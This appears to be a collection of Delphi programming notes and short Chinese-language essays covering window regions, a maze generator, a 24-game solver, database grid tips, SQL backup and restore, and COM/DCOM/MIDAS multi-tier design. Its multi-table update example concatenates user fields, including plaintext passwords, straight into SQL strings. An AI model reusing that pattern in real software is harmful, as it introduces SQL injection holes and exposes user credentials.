procedure TForm1.SpeedButtonRightClick(Sender: TObject);

begin

ShowRight := not ShowRight;

end;

procedure TForm1.SpeedButtonDownClick(Sender: TObject);

begin

ShowDown := not ShowDown;

end;

procedure TForm1.FormCreate(Sender: TObject);

begin

///////Begin 创建不规则的区域

{ TODO : 修改区域 }

FRGNRight := CreateRectRgn(

ImageRight.BoundsRect.Left,

ImageRight.BoundsRect.Top,

ImageRight.BoundsRect.Right,

ImageRight.BoundsRect.Bottom);

FRGNDown := CreateRectRgn(

ImageDown.BoundsRect.Left,

ImageDown.BoundsRect.Top,

ImageDown.BoundsRect.Right,

ImageDown.BoundsRect.Bottom);

FRGNCenter := CreateRectRgn(

ImageCenter.BoundsRect.Left,

ImageCenter.BoundsRect.Top,

ImageCenter.BoundsRect.Right,

ImageCenter.BoundsRect.Bottom);

///////End 创建不规则的区域

ShowFormRgn;

DoubleBuffered := True;

FShowRight := False;

FShowDown := False;

end;

procedure TForm1.SetShowRight(const Value: Boolean);

const

{$J+}vChanging: Boolean = False;

const

cOffset = 3;

var

I: Integer;

vStart, vEnd: Integer;

vOffset: Integer; //偏移量

begin

if FShowRight = Value then Exit;

if vChanging then Exit;

FShowRight := Value;

vChanging := True;

if FShowRight then begin

vOffset := -cOffset;

vStart := ImageRight.Left;

vEnd := ImageRight.Left - ImageRight.Width + 20;

end else begin

vOffset := +cOffset;

vStart := ImageRight.Left;

vEnd := ImageRight.Left + ImageRight.Width - 20;

end;

I := vStart;

while Abs(I - vEnd) > Abs(vOffset) do begin

ImageRight.Left := I;

MemoRight.Left := I + 1;

SpeedButtonRight.Left := I + 170;

Application.ProcessMessages;

OffsetRgn(FRGNRight, vOffset, 0); //偏移区域

ShowFormRgn;

ClientWidth := I + ImageRight.Width + 2; //宽度改变

Update;

I := I + vOffset;

end;

vChanging := False;

end;

procedure TForm1.SetShowDown(const Value: Boolean);

const

{$J+}vChanging: Boolean = False;

const

cOffset = 3;

var

I: Integer;

vStart, vEnd: Integer;

vOffset: Integer; //偏移量

begin

if FShowDown = Value then Exit;

if vChanging then Exit;

FShowDown := Value;

vChanging := True;

if FShowDown then begin

vOffset := -cOffset;

vStart := ImageDown.Top;

vEnd := ImageDown.Top - ImageDown.Height + 20;

end else begin

vOffset := +cOffset;

vStart := ImageDown.Top;

vEnd := ImageDown.Top + ImageDown.Height - 20;

end;

I := vStart;

while Abs(I - vEnd) > Abs(vOffset) do begin

ImageDown.Top := I;

MemoDown.Top := I + 1;

SpeedButtonDown.Top := I + 95;

Application.ProcessMessages;

OffsetRgn(FRGNDown, 0, vOffset); //偏移区域

ShowFormRgn;

ClientHeight := I + ImageDown.Height + 2; //宽度改变

Update;

I := I + vOffset;

end;

vChanging := False;

end;

procedure TForm1.FormDestroy(Sender: TObject);

begin

DeleteObject(FRGNRight);

DeleteObject(FRGNDown);

DeleteObject(FRGNCenter);

DeleteObject(FRGNForm);

end;

procedure TForm1.ShowFormRgn;

begin

///////Begin 清除区域

DeleteObject(FRGNForm);

FRGNForm := CreateRectRgn(0, 0, 0, 0);

///////End 清除区域

CombineRgn(FRGNForm, FRGNCenter, FRGNRight, RGN_OR);

CombineRgn(FRGNForm, FRGNForm, FRGNDown, RGN_OR);

SetWindowRgn(Handle, FRGNForm, True);

end;

procedure TForm1.ImageCenterMouseDown(Sender: TObject;

Button: TMouseButton; Shift: TShiftState; X, Y: Integer);

begin

ReleaseCapture;

Perform(WM_SYSCOMMAND, SC_MOVE + 1, 0);

end;

end.

///////unit1.dfm

object Form1: TForm1

Left = 97

Top = 22

BorderStyle = bsNone

Caption = 'Form1'

ClientHeight = 486

ClientWidth = 602

Color = clBtnFace

Font.Charset = DEFAULT_CHARSET

Font.Color = clWindowText

Font.Height = -11

Font.Name = 'MS Sans Serif'

Font.Style = []

OldCreateOrder = False

OnCreate = FormCreate

OnDestroy = FormDestroy

PixelsPerInch = 96

TextHeight = 13

object ImageRight: TImage

Left = 408

Top = 36

Width = 190

Height = 263

end

object ImageDown: TImage

Left = 64

Top = 368

Width = 294

Height = 115

end

object SpeedButtonRight: TSpeedButton

Left = 576

Top = 140

Width = 17

Height = 33

OnClick = SpeedButtonRightClick

end

object SpeedButtonDown: TSpeedButton

Left = 192

Top = 464

Width = 41

Height = 17

OnClick = SpeedButtonDownClick

end

object MemoDown: TMemo

Left = 83

Top = 369

Width = 256

Height = 80

Lines.Strings = (

'MemoDown')

TabOrder = 2

end

object MemoRight: TMemo

Left = 410

Top = 52

Width = 156

Height = 225

Lines.Strings = (

'MemoRight')

TabOrder = 1

end

object Panel1: TPanel

Left = 0

Top = 0

Width = 409

Height = 369

BevelOuter = bvNone

TabOrder = 0

object ImageCenter: TImage

Left = -2

Top = 0

Width = 411

Height = 369

ParentShowHint = False

ShowHint = False

OnMouseDown = ImageCenterMouseDown

end

end

end


做MDI窗体时，怎么在客户区放窗体控件(TWinControl)
//Q:做MDI窗体时，怎么在客户区放窗体控件(TWinControl)？

//A:

procedure TForm1.FormCreate(Sender: TObject);

begin

Windows.SetParent(Panel1.Handle, ClientHandle);

end;


随机生成迷宫
(*

标题:随机生成迷宫

说明:没有提供路线图

设计:Zswang

日期:2003-01-21

支持:wjhu111@21cn.com

*)

unit Unit1;

interface

uses

Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,

Dialogs, StdCtrls;

type

TForm1 = class(TForm)

Button1: TButton;

procedure FormCreate(Sender: TObject);

procedure Button1Click(Sender: TObject);

private

{ Private declarations }

FPointList: array of array of TAnchors;

FRowCount: Integer;

FColCount: Integer;

FPoint: TPoint;

procedure DrawPoint(mPoint: TPoint);

procedure DrawMap;

procedure InitMap;

function RandomAnchor(mPoint: TPoint; var nAnchor: TAnchorKind): Boolean;

procedure GenerateMaze;

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.dfm}

const

cMoveOffset: array[TAnchorKind] of TPoint = (

(X: -1; Y: 00), //akLeft,

(X: 00; Y: -1), //akTop,

(X: +1; Y: 00), //akRight,

(X: 00; Y: +1) //akBottom

);

const

cWidthOffset = 5;

function AllyAnchor(mAnchorKind: TAnchorKind): TAnchorKind;

begin

case mAnchorKind of

akLeft: Result := akRight;

akTop: Result := akBottom;

akRight: Result := akLeft;

else {akBottom:} Result := akTop;

end;

end;

procedure TForm1.DrawPoint(mPoint: TPoint);

var

vAnchorKind: TAnchorKind;

begin

Canvas.Pen.Color := clWindow;

if not PtInRect(Rect(0, 0, FColCount, FRowCount), mPoint) then Exit;

for vAnchorKind := Low(vAnchorKind) to High(vAnchorKind) do

if vAnchorKind in FPointList[mPoint.X, mPoint.Y] then begin

Canvas.Pen.Width := cWidthOffset;

Canvas.MoveTo(mPoint.X * cWidthOffset * 2 + 2 * cWidthOffset, mPoint.Y * cWidthOffset * 2 + 2 * cWidthOffset);

Canvas.LineTo(

mPoint.X * cWidthOffset * 2 + cMoveOffset[vAnchorKind].X * cWidthOffset + 2 * cWidthOffset,

mPoint.Y * cWidthOffset * 2 + cMoveOffset[vAnchorKind].Y * cWidthOffset + 2 * cWidthOffset);

end;

end;

procedure TForm1.DrawMap;

var

vCol, vRow: Integer;

begin

for vCol := 0 to FColCount - 1 do

for vRow := 0 to FRowCount - 1 do

DrawPoint(Point(vCol, vRow));

end;

function TForm1.RandomAnchor(mPoint: TPoint;

var nAnchor: TAnchorKind): Boolean;

var

A: array[0..3] of TAnchorKind;

vCount: Integer;

vAnchorKind: TAnchorKind;

vPoint: TPoint;

begin

Result := False;

if not PtInRect(Rect(0, 0, FColCount, FRowCount), mPoint) then Exit;

vCount := 0;

for vAnchorKind := Low(vAnchorKind) to High(vAnchorKind) do begin

vPoint := Point(mPoint.X + cMoveOffset[vAnchorKind].X,

mPoint.Y + cMoveOffset[vAnchorKind].Y);

if (not (vAnchorKind in FPointList[mPoint.X, mPoint.Y])) and

PtInRect(Rect(0, 0, FColCount, FRowCount), vPoint) and

(FPointList[vPoint.X, vPoint.Y] = []) then begin

A[vCount] := vAnchorKind;

Inc(vCount);

end;

end;

if vCount <= 0 then Exit;

nAnchor := A[Random(vCount)];

Result := True;

end;

procedure TForm1.FormCreate(Sender: TObject);

begin

FColCount := 40;

FRowCount := 40;

SetLength(FPointList, FColCount, FRowCount);

FPoint.X := 10;

FPoint.Y := 10;

Randomize;

Color := clBlack;

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

Repaint;

GenerateMaze;

end;

procedure TForm1.GenerateMaze;

procedure pGenerateMaze(mPoint: TPoint);

var

vAnchorKind: TAnchorKind;

vPoint: TPoint;

begin

if not RandomAnchor(mPoint, vAnchorKind) then Exit;

Include(FPointList[mPoint.X, mPoint.Y], vAnchorKind);

vPoint.X := mPoint.X + cMoveOffset[vAnchorKind].X;

vPoint.Y := mPoint.Y + cMoveOffset[vAnchorKind].Y;

if PtInRect(Rect(0, 0, FColCount, FRowCount), vPoint) then

Include(FPointList[vPoint.X, vPoint.Y], AllyAnchor(vAnchorKind));

pGenerateMaze(vPoint);

pGenerateMaze(mPoint);

end;

begin

InitMap;

pGenerateMaze(Point(Random(FColCount), Random(FRowCount)));

Include(FPointList[0, 0], akTop);

Include(FPointList[FColCount - 1, FRowCount - 1], akBottom);

DrawMap;

end;

procedure TForm1.InitMap;

var

vCol, vRow: Integer;

begin

for vCol := 0 to FColCount - 1 do

for vRow := 0 to FRowCount - 1 do

FPointList[vCol, vRow] := [];

end;

end.


类似计算加减乘除二十四的算法
(*//

标题:类似计算加减乘除二十四的算法

说明:参考 http://expert.csdn.net/Expert/FAQ/FAQ_Index.asp?id=422

修改:Zswang

日期:2003-03-17

支持:wjhu111@21cn.com

//*)

///////Begin Source

function SearchExpression(mNumbers: array of Integer;

mDest: Integer): string;

const

cPrecision = 1E-6;

var

vNumbers: array of Extended;

vExpressions: array of string;

vLength: Integer;

function fSearchExpression(mLevel: Integer): Boolean;

var

I, J: Integer;

A, B: Extended;

vExpA, vExpB: string;

begin

Result := True;

if (mLevel <= 1) and (Abs(vNumbers[0] - mDest) <= cPrecision) then Exit;

for I := 0 to mLevel - 1 do begin

for J := I + 1 to mLevel - 1 do begin

A := vNumbers[I];

B := vNumbers[J];

vNumbers[J] := vNumbers[mLevel - 1];

vExpA := vExpressions[I];

vExpB := vExpressions[J];

vExpressions[J] := vExpressions[mLevel - 1];

vExpressions[I] := '(' + vExpA + '+' + vExpB + ')';

vNumbers[I] := A + B;

if fSearchExpression(mLevel - 1) then Exit;

vExpressions[I] := '(' + vExpA + '-' + vExpB + ')';

vNumbers[I] := A - B;

if fSearchExpression(mLevel - 1) then Exit;

vExpressions[I] := '(' + vExpB + '-' + vExpA + ')';

vNumbers[I] := B - A;

if fSearchExpression(mLevel - 1) then Exit;

vExpressions[I] := '(' + vExpA + '*' + vExpB + ')';

vNumbers[I] := A * B;

if fSearchExpression(mLevel - 1) then Exit;

if B <> 0 then begin

vExpressions[I] := '(' + vExpA + '/' + vExpB + ')';

vNumbers[I] := A / B;

if fSearchExpression(mLevel - 1) then Exit;

end;

if A <> 0 then begin

vExpressions[I] := '(' + vExpB + '/' + vExpA + ')';

vNumbers[I] := B / A;

if fSearchExpression(mLevel - 1) then Exit;

end;

vNumbers[I] := A;

vNumbers[J] := B;

vExpressions[I] := vExpA;

vExpressions[J] := vExpB;

end;

end;

Result := False;

end;

var

I: Integer;

begin

vLength := Length(mNumbers);

SetLength(vNumbers, vLength);

SetLength(vExpressions, vLength);

for I := 0 to vLength - 1 do begin

vNumbers[I] := mNumbers[I];

vExpressions[I] := IntToStr(mNumbers[I]);

end;

if fSearchExpression(vLength) then

Result := vExpressions[0]

else Result := '';

vNumbers := nil;

vExpressions := nil;

end;

///////End Source

///////Begin Demo

procedure TForm1.Button1Click(Sender: TObject);

begin

Edit1.Text := SearchExpression([5, 5, 5, 1], 24);

end;

///////End Demo


CmBox style 的错
2002-05-10 17:53:44

这一个好用

CmBox_GYS.ItemIndex := CmBox_GYS.Items.IndexOf(DBE_GYS.Text);

这一个不好用

CmBox_GYS.Text :=DBE_GYS.Text;

为什么？？？？？

style的原因


鼠标双击数据区域
15:05 2002-05-09

鼠标双击数据区域

procedure TForm1.DBGrid1CellClick(Column: TColumn);

begin

canshow:=true;

end;

procedure TForm1.DBGrid1DblClick(Sender: TObject);

begin

if canshow=true then

messagebox(handle,'Cell','Cell',0);

end;

procedure TForm1.DBGrid1MouseDown(Sender: TObject; Button: TMouseButton;

Shift: TShiftState; X, Y: Integer);

begin

canshow:=false;

end;


messagebox的图例
11:45 2002-05-09

messagebox的图例

黄色叹号 MB_ICONEXCLAMATION MB_ICONWARNING

白色问号 MB_ICONINFORMATION MB_ICONASTERISK MB_ICONQUESTION

红色叉号 MB_ICONSTOP MB_ICONERROR MB_ICONHAND


窗体继承真好
2002-05-10 16:01:43

子窗体上不可以删除母窗体上的控件,只能隐藏.


帮助文件丢失
11:27 2002-05-09

因不明原因Delphi自带的帮助文件丢失,使程序中的帮助无法调用,重新拷回就一切OK了.


删除某个字段为空的记录
10:58 2002-05-09

删除某个字段为空的记录 where xxx is null


用代码修改数字类型的编辑格式
13:59 2002-05-08

用代码修改数字类型的编辑格式

TNumericField(FrmWP_JHRK.Q_Detail_JHRK.FieldByName('Dj')).DisplayFormat:= '0.00';


控制DBGrid的某个字段只读
控制DBGrid的某个字段只读

LookUp字段在DBGrid中不可用,在Query中readonly设置为True即可。


dbgrid中光标回车右移
dbgrid中光标回车右移

在Form.OnKeyPress事件中写如下代码：

if Key = #13 then

if ActiveControl = DBGrid1 then begin

TDBGrid(ActiveControl).SelectedIndex := TDBGrid(ActiveControl).SelectedIndex + 1;

Key := #0;

end;


BDE别名的建立、删除：
BDE别名的建立、删除：

procedure SetAlias; { 设置当前数据的别名(PARADOX) }

var

MyList: TStringList;

begin

MyList := TStringList.Create;

try

with MyList do

begin

Add('PATH=你的数据库的路径');

Add('ENABLE BCD=FALSE');

end;

Session.AddAlias('你的数据库别名', 'PARADOX', MyList);

finally

MyList.Free;

end;

end; { SetAlias }

参照BDE中的设置，可建立其它数据库的别名。


数据库的备份、还原：
数据库的备份、还原：

backup database Mydatabasename to disk='C:.db' with init //备分

Restore database Mydatabasename from disk='C:.db' WITH replace,stats //恢复

不过在恢复的时候没有取得排它的访问权限。

解决方案：1 获得权限，

2 建立新的别名数据库，连接master，断开与源数据库的连接，

在master中执行还原的SQL语句，完成后删除新建别名数据库。


DBGrid中增加控件
{

//修改排列方式

if ACol=6 then

begin

ComboBox_Zzy.Visible :=true;

ComboBox_Zzy.ItemIndex :=ComboBox_Zzy.Items.IndexOf(StrGrid.Cells[ACol,ARow]);

Zzy_Col:=ACol;

Zzy_Row:=ARow;

ComboBox_Zzy.Left :=StrGrid.Left+ StrGrid.CellRect(ACol,ARow).Left+2;

ComboBox_Zzy.Top :=StrGrid.Top + StrGrid.CellRect(ACol,ARow).Top +1;

ComboBox_Zzy.Width :=StrGrid.CellRect(ACol,ARow).Right-StrGrid.CellRect(ACol,ARow).Left;

ComboBox_Zzy.Height:=StrGrid.CellRect(ACol,ARow).Bottom-StrGrid.CellRect(ACol,ARow).Top;

end; }


数据的导出
{*********************************************************************************}

var fSQL:textfile;

i:integer;

strFields:string;

strTableName:string;

begin

assignfile(fSQL,'C:.SQL');

rewrite(fSQL);

strTableName:='WpKC';

Query1.Close;

Query1.SQL.Clear;

Query1.SQL.Add('SELECT * FROM '+strTableName);

Query1.open;

if Query1.RecordCount >0 then

begin

strFields:='';

for i:=1 to Query1.FieldCount-1 do { 写入字段名,可省略 }

strFields:=strFields+Query1.Fields.FieldByNumber(i).FieldName+',';

strFields:=strFields+Query1.Fields.FieldByNumber(Query1.FieldCount).FieldName;

Query1.First;

repeat

write(fSQL,'insert into '+strTableName+'('+strFields+ ') Values(');

for i:=1 to Query1.FieldCount-1 do

write(fSQL,''''+Query1.Fields.FieldByNumber(i).AsString+''',');

write(fSQL,''''+Query1.Fields.FieldByNumber(Query1.FieldCount).AsString+''')');

Writeln(fSQL);

Query1.Next;

until Query1.Eof ;

Closefile(FSql);

end;

end;


定义数组
定义数组

Const

arr_int:array[0..9] of integer=(4,5,6,8,2,4,2,7,9,1);


break 跳出循环
{联上}

{break 跳出循环 }

var i,j,k:integer;

nowint:array[0..9] of integer;

b:boolean;

begin

i:=0;

k:=0;

repeat

b:=true;

for j:=0 to i-1 do

if nowint[j]=arr_int[i] then

begin

inc(i);

b:=false;

break;

end;

if b then

begin

nowint[k]:=arr_int[i];

inc(i);

inc(k);

end;

until i>9;

for j:=0 to k-1 do

begin

memo1.Lines.Add(inttostr(nowint[j]));

end;


分解日期
分解日期

decodedate(date,year,month,day);


窗体不以modal显示,像模式一样控制
//应用程序中,窗体不以modal显示,像模式一样控制

//PreViewHandle:=FindWindow(nil,Pchar(FrmPrint.Caption));

if FrmPreView<>nil then

begin

{ //还原旧窗体

FrmPreView.Show;

FrmPreView.Position :=poScreenCenter;

FrmPreView.WindowState :=wsMaximized;

exit;

}

FrmPreView.Close; //产生新窗体

FrmPreView.Free;

end;


SQL语句有LookUp功能
SQL语句中的select aa,(select state from Wpstate where id=io) as io from .....

()中的语句有LookUp功能


语句简化
if Trim(StrGrid.Cells[7,i])=Str_Yes then

PrintInfo[int_PrintInfo].fAuto:=true

else

PrintInfo[int_PrintInfo].fAuto:=False;

简化版为 PrintInfo[int_PrintInfo].fAuto:=(Trim(StrGrid.Cells[7,i])=Str_Yes);


删除性触发器
删除性触发器

begin

declare @WpDH char(10)

select @WpDH= DH from DElETED

delete from WpKC where WpKC.DH=@WpDH

end


COM DCOM亲密接触
COM DCOM亲密接触

原创 (小小->爱被下载中……)

COM/DCOM的前身是OLE(Object Linking and Embedding,对像连接和嵌入)是从MS的Windows3.1操作系统中发展起来的，而DCOM正真的应用是在WinNT4.0时才发挥他的优势的，一般而言（本来就是的）DCOM是COM的扩展，COM是对于单机内（物理单机）的一种应用程序互通的技术，利用它，可以很好的实现应用程序的通信，可以是线程内的通信，也可以是进程通信，如果理解它们？

客户和服务器在相同的内存处理进程中运行，并且通过使用功能调用的方法彼此通信。这种形式就是：在服务器中处理（In-Process Server）；一般而言是用可以用DLL作为服务器程序的；

同时，也充许是进程内部进行通信，也就是客户端可以作用内部进程通信的方法访问服务器，而服务器可以是不同进程中运行（但，它们是在同一物理机中），这种通信方式也叫本地对像代理(Local Object Proxy);

如果此时，我们还想将COM的应用扩展开，就是网络之间的通信，这时就出现了DCOM，所以说DCOM是将COM的应用扩展到网络中，通过DCOM访问就属于远程代理对像（Remote Proxy Object）了;客户和服务器的通信合用了分布式计算环境RPC（做过分布式程序的朋友应该对RPC都比较熟悉吧，更明白的说，RPC = 远程过程调用）；更精确的说，COM由两个扩展：MTS and MSMQ，他们都是通过DCOM提供的，以后会慢慢和大家交流这些的；

我们再来说一说它们之间到底有什么更密切的关系吧；

DCOM是安全的，可以这样说，之所以它比较安全就因为他是COM的扩展，继承了COM安全性这一点；

DCOM是协议无关的，而它之所以是与协议无关的，也是来源于COM，因为COM本来就是一个协议无关的组件对像模型；

DCOM是与语言无关的，因为COM就是与语言无关的，所以，DCOM或是COM组件才可以用到Delphi/VC/Java/VB……各种语言中，这也为他的进一步流通打下了基础；

………

它们之间的关系有很多，很多；

让我们用一条线串起来的话：

ActiveX - OLE - COM - DCOM;它们及是其它的基础，也是基它的增强，说一个很简单的例子，ActiveX现在用的如何？的确，它没有办法和Java组件抗衡，但是，它应用的特别的广泛这是无可置疑的，为什么？说白了，就是因为DCOM组件提供了网络连接，而ActiveX又是DCOM的一种基础，当然，他也随着DCOM改进过，所以它才可以很快的应用起来；

但是它们也是有区别的，比如COM服务器端可以是应用程序Exe文件，也可以是DLL文件，但是DCOM不允许为DLL,原因很简单，就是因为DCOM的客户端不可能保证每个进程内都有一个DLL文件的副本存在，当然，DCOM在同一机器里也可以进行通信，而且速度方面肯定很快；但它的速度如果和COM比起来，慢的可怜，应该是万分之一吧；

好了，睡觉，睡觉，不说了，有时间再说吧；


Midas进阶
Midas进阶

原创 (小小->爱被下载中……)

由于这段时间忙于其它事，所以，也只能是根据有些网友的要求，他们希望看到什么什么方面的内容，我就现就那方面的内容进行说明；

在我们在多层应用程序时，一般的步骤无外乎：数据库配制、创建应用服务器、创建客户程序，这是一个模式；当然，在应用服务器上放几个控件、注册一下；在客户程序上放几个控件，写点代码，就这样，一个简单的三层结构就出来了；但我不知道各位想过原理了吗？一起来分析一下：一般而言，三层或多层之间如何连系起来的？就是通过一组协议连接，应该是 DCOM、TCP/IP、OLEnterPrise(不是很长见，至少我没有见过，菜鸟哦)、MTS、CORBA；总结一下不难得出DCOM/(TCP/IP)/OLEnterPrise作为通讯协议时，需要进行注册，前面的有个贴子里曾说起COM的时候，如何注册？看一看；DCOM/(TCP/IP)/OLEnterPrise就如ActiveX 或 COM服务器一样，需要先注册(这后不再对OLEnterPrise进行介绍);如果你用的是MTS的话，那么就不用注册了，此时的应用程序服务器是DLL，前边也说过，COM也同样可以用DLL作为应用服务程序，MTS也是COM的一种扩展，所以它也可以用DLL来做应用服务，但是DCOM不可以；合用CORBA可以不注册；

应用服务器相关：

前边曾说过，Delphi的MIDAS主要通过两种方式做多层应用程序DCOM/CORBA，是三层还有一种方式，是由JavaBean定制的(J2EE你应该听过了吧)RMI，这种不属于进行的讨论范围里；

用DCOM进行连接的话，要用到TDCOMConnection组件，这种连接方式一般运行起来的速度比较快，但是它的初次连接比较慢，而且进行设置时不是很容易，不过他的执行效率很不错，斑竹建议如果您是初学的话，在练习时，用它是一个好的选择，如果正真做开发的时候，它可以暂时不考虑进行，因为它还有一个让人不太容易接受的缺点就是当你用TDCOMConnection时，即使你将远程计算机ComputerName正确的写了，但你依然不能在设计期进行远程的连接，因为TDCOMConnection用远程服务时，只认自己机子上的；

用TSocketConnection作连接的时候，它用的是TCP/IP进行连接的，用它的时候要注意一点的时端口问题，它默认的是211，但有时端口可能被其它程序占用，这样的话，你就无法连接，改完之后要记住配制Scktsrver.exe 或 Scktsrvc.exe 的端口号配制相同则可；

无论是上两种方式用那一种，有可能都会发生以下情况，运行中需要动态的指点应用服务器：TDCOMConnection.ComputerName := Edit1.Text or TSocketConneciton.Host := Edit.Text 都成，我建议你用TSimpleObjectBroker，只要将其ObjectBroker := TSimpleObjectBroker应用它有自动分配的功能，如何理解呢？例如你有三台机器上同时安装了你的应用服务器的话，你只要给TSimpleObjectBroker指定了这三台机器的话，当你现在所连的A应用服务器出错时，这时，TSimpleObjectBorker会自动进行调整，它会试图它所有的ComputerName进行连接，这样，它可以快速的转换所连接的应用服务器，客户或你是不会感觉的到的；TSimpleObjectBroker组件还有平衡负载的功能；

Corba我不太熟，不会说，呵呵；

好了，好了，现说到这儿；

我是一边做事一边写的；

下次下如果通果接口和应用服务程序通讯；


MIDAS进阶--多表更新
MIDAS进阶--多表更新

原创 (小小->爱被下载中……)

前些日子看过李维的书，介绍分布式处理的；

其中有一个是多表处理，对多表进行更新，说实话，我觉的如果你是新手的话，可能会被他的逻辑所困扰，记得它当时一共是用了三个Cache SQL 实现的(TUpdateSQL),每个控件又有不同的更新语句；

当时，虽然感觉懂，但总觉的不是很添晰；返过头来，才发现它还有一些问题没有交待清楚，（当然，我们要自己想的），我们再来一起看一看；在三层中，对于单表的更新很简单，可以有四种方法，对于多表的更新，也有几种方法，用户正真介入的，而且是比较安全的应该是在TClinetDataSet -> TProvider ->BeforeUpdateRecord事件里边，当更新完毕之后，然后再置Applied := True 就可以；事件定义：

procedure TMTF_LX.MTDDataSetProviderBeforeUpdateRecord(Sender: TObject;

SourceDS: TDataSet; DeltaDS: TCustomClientDataSet;

UpdateKind: TUpdateKind; var Applied: Boolean);

我们只要明白了数据更新机制的话，就不难理解多表更新；具体更新机制是什么样的？简单而言：

客户端 TClientDataSet.ApplyUpdates(MasError) 启动 应用服务端的TProvider进行数据更新，过程：Tprovider.BeforeUpdateRecord (参数判断，决定是否继续) -> TProvider.AfterUpdateRecord -> 数据合并回传;

由上边的过程我们不难发现，多表更新的确是应该在BeforeUpdateRecord事件里边写，首先应该明白事件的各个参数是什么意思，来分解一下每个参数：

procedure TMTF_LX.MTDDataSetProviderBeforeUpdateRecord(Sender: TObject;

SourceDS: TDataSet; DeltaDS: TCustomClientDataSet;

UpdateKind: TUpdateKind; var Applied: Boolean);

Sender : TObject :显而易见，它就是指自身TProvider ，可用Serder.ClassName检测；

SourceDS:TDataSet:你还可以用Sender.ClassName进行检测，可以知道它就是TProvider.DataSet值，那么，它在多表更新而言意义不是非常大，至少我们现在可以这样认为，而且也并不是错的；

DeltaDS:TCustomClientDataSet:检测方法都可以用上边的方法，明确的说，可以理解它就是客户端的TClientDataSet，其实，应该是DeltaDS.Data := TClientDataSet.Delts,我们可以从它的里边进行数据提取；很重要的一个参数，不然无法进行多表更新；

UpdateKind : TUpdateKind :更新类型，Insert/Update/Delete三种类型；

Applied : Boolean :将决定是否由应用服务自动更新，多表更新中，不应该让自动更新，原因我想大家都应该知道的；所以再最后：Applied := True;

由此而来，更新就变的简单了，再理解李维老师的那个例子也变的更容易了，当然也可以自己写完全不一样的更新；下边将会给出一个例子；

现在，我们的精力就应该放在以下几点上：

取数据 ：DeltaDS里边取出数据，我们都知道，多层中的数据传递是OleVariant的形式，现在我们不用管那些了，因为DeltaDS就是一个数据集；

判断更新类型：UpdateKind,根据不同的类型，要执行不同的操作；

更新操作：最后用另外一个数据集组件进行更新；

下边我给出一个例子，供大家参考；不过仅仅是插入，数据算法我没有用到，只是练习时用的

procedure TMTF_LX.MTDDataSetProviderBeforeUpdateRecord(Sender: TObject;

SourceDS: TDataSet; DeltaDS: TCustomClientDataSet;

UpdateKind: TUpdateKind; var Applied: Boolean);

var

Info_FName,Info_Time : String;

User_Name,User_Pass : String;

UserInfo_Email,UserInfo_QQ : String;

SQLText : String;

Param : TParam;

begin

if ukInsert in UpdateKind then

with DeltaDS do

begin

Info_FName := FieldByName('Info_FUserName').AsString;

Info_Time := FieldByName('Info_Time').AsString;//Fields[1].AsString;/////// FieldByName('Info_Time').AsString;

User_Name := FieldByName('User_Name').AsString;///////////Fields[2].AsString;///////// FieldByName('User_Name').AsString;

User_Pass := FieldByName('User_Pass').AsString;/////////Fields[3].AsString;////////////

UserInfo_Email := FieldByName('UserInfo_Em').AsString;

UserInfo_QQ := FieldByName('UserInfo_QQ').AsString;

UserInfo_Email := FieldByName('UserInfo_Em').AsString;/////////////Fields[4].AsString;///////

UserInfo_QQ := FieldByName('UserInfo_QQ').AsString;///////// Fields[5].AsString;//////////

end;

with DataUpdateQuery do

begin

Try

SQLText := 'Insert csdnyh_Info (Info_FUserName,Info_TUserName,Info_Time) Values(' + #39 + Info_FName + #39 + ','+#39 + Info_Fname + #39+',' + #39 + Info_Time + #39 + ')';

Close;

SQL.Clear;

SQL.Add(SQLText);

ShowMessage(SQL.Text);

ExecSQL;

Except

ShowMessage('对不起，数据更新错误');

Exit;

end;

Try

SQLText := 'Insert csdnyh_User (User_Name,User_Pass) Values(' + #39 + User_Name + #39 + ',' + #39 + User_Pass + #39 + ')';

Close;

SQL.Clear;

SQL.Add(SQLText);

ExecSQL;

Except

ShowMessage('对不起，数据更新错误，第二张表');

end;

Try

SQLText := 'Insert csdnyh_UserInfo (UserInfo_name,UserInfo_Em,UserInfo_QQ) Values(' + #39 + User_Name + #39 + ','+ #39 + UserInfo_Email + #39 + ',' + #39 + UserInfo_QQ + #39 + ')';

Close;

SQL.Clear;

SQL.Add(SQLText);

SQL.SaveToFile('Csdnyh_Info.TxT');

ExecSQL;

Except

ShowMessage('对不起，数据更新错误，第三张表');

Exit;

end; {}

end;

Applied := True;

end;

希望到此，你可以很清晰的理解多表更新；

小小祝愿你会是最棒的一个；


接口
接口

原创 (小小->爱被下载中……)

我们都知道，多层公布式或者将范围缩小一些，就三层而言，可用的标准一共有三种：

MS 提供的DCOM ////分布试组件对像模型；

OMG组织制定的CORBA ////公共对像请求代理结构

SUM公司提供的RMI///远程方法激活；

暂且不说以后它们那一种标准会更好些；但是无论如何，从现阶段而言，或就Delphi所言，我们只可以用DCOM / CORBA ,而RMI是Delphi所不支持的；

但是正真的用Delphi实现CORBA的不是很多，原因不是很清楚，但是CORBA功能强大，也很复杂，倒底什么地方复杂我也不知道，因为我没有做过，所以就我而言，还是觉的DCOM好一些；那么用DCOM编程的时候，我们又应该知道些什么？我们都知道，DCOM是COM的一种扩展，这就很清楚了，知道了COM，那么DCOM就了解了；好了，让我们继续向下走；

接口就是要求不同的计算机软件程序，或分布在网骆上不同的机器这间软件也可以相互通信；

接口是能过一组函数而链接起来的，这组函数实际上就定义了程序中不同部分的接口；

如：

Dll的接口就是它所输出的那些函数，类的接口中央电视台是该类的一个成员函数集，然而，COM接口与Dll或对像Pascal类的接口不同，COM中的接口也涉及到一组由组件实现并提供给函数；对于COM来说，接口是一个包含指针数组的内存结构，每一个数组无素是一个由组件所实现 的函数的地址；对于COM而言，接口就是此内存结构，其它东西均是一个COM并不关心的实现细节；

接口，无论是那种接口，自定义的也好，IUnKnown也好，或是和COM无关的Interface接口也好，它们都遵循定义、实现、引用；


认识Midas
认识Midas

原创 (小小->爱被下载中……)

在csdn上Midas版看到类似这样的贴子，Midas/MTS/CORBA到底是什么关系；

在此，就自己对Midsa的认识说一说，而至于MTS or CORBA，前面我们曾很多的提到过，如果你有兴趣可以看一看前边的贴子；

在说Midas之前，我必须申明它和MTS or CORBA or DCOM or RMI是不同的概念；

